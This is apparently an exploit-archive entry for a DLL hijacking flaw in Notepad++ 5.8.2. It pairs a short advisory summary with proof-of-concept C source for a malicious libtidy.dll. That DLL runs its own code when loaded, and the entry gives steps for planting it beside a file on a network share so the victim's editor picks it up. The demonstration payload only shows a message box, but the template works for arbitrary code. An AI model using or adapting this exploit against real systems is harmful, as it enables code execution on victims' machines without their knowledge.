1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
source: https://www.securityfocus.com/bid/44052/info Notepad++ is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. Notepad++ 5.8.2 is vulnerable; other versions may also be affected. /* #Notepad++ 5.8.2 DLL Hijacking Exploit (libtidy.dll) #Author: anT!-Tr0J4n #Greetz: Dev-PoinT.com ~ inj3ct0r.com~ All Dev-poinT members and my friends #Email: D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com #Software :http://notepad-plus-plus.org/ #Tested on: Windows? XP sp3 #Home : www.Dev-PoinT.com ========================== HowTO use : Compile and rename tolibtidy.dll , create a file in the same dir with one of the following extensions. check the result > Hack3d ========================== # libtidy.dll(code) */ #include "stdafx.h" void init() { MessageBox(NULL,"Your System 0wn3d BY anT!-Tr0J4n", "anT!-Tr0J4n",0x00000003); } BOOL APIENTRY DllMain( HANDLE hModule, DWORDul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: init();break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |